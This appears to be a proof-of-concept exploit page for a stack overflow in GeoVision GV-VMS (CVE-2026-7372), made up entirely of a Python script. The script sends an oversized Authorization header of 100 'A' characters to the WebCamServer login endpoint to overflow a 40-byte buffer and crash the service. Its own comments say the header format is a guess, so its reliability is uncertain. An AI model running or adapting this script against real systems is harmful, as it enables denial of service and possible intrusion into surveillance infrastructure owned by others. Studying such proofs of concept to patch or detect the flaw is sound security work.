CVE-2026-7372 GeoVision GV-VMS栈溢出漏洞

import requests # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/WebCamServer/Login" # Vulnerability analysis: # The sscanf function does not limit the input size for username/password. # The stack buffer size is 40 bytes. Sending > 40 bytes triggers overflow. # Generate a payload to trigger the stack overflow # Payload structure: "A" * 100 (Exceeds 40 byte buffer) payload = "A" * 100 # Construct the malicious Authorization header # Note: The specific header format depends on the server's parsing logic headers = { "User-Agent": "Mozilla/5.0", "Authorization": f"Basic {payload}" } try: print(f"[+] Sending exploit payload to {TARGET_URL}...") response = requests.get(TARGET_URL, headers=headers, timeout=5) # Check if the service crashed or responded abnormally if response.status_code == 500 or response.status_code == 200: print("[+] Request sent. Check the target service for crash or code execution.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[!] This might indicate the service has crashed (DoS).")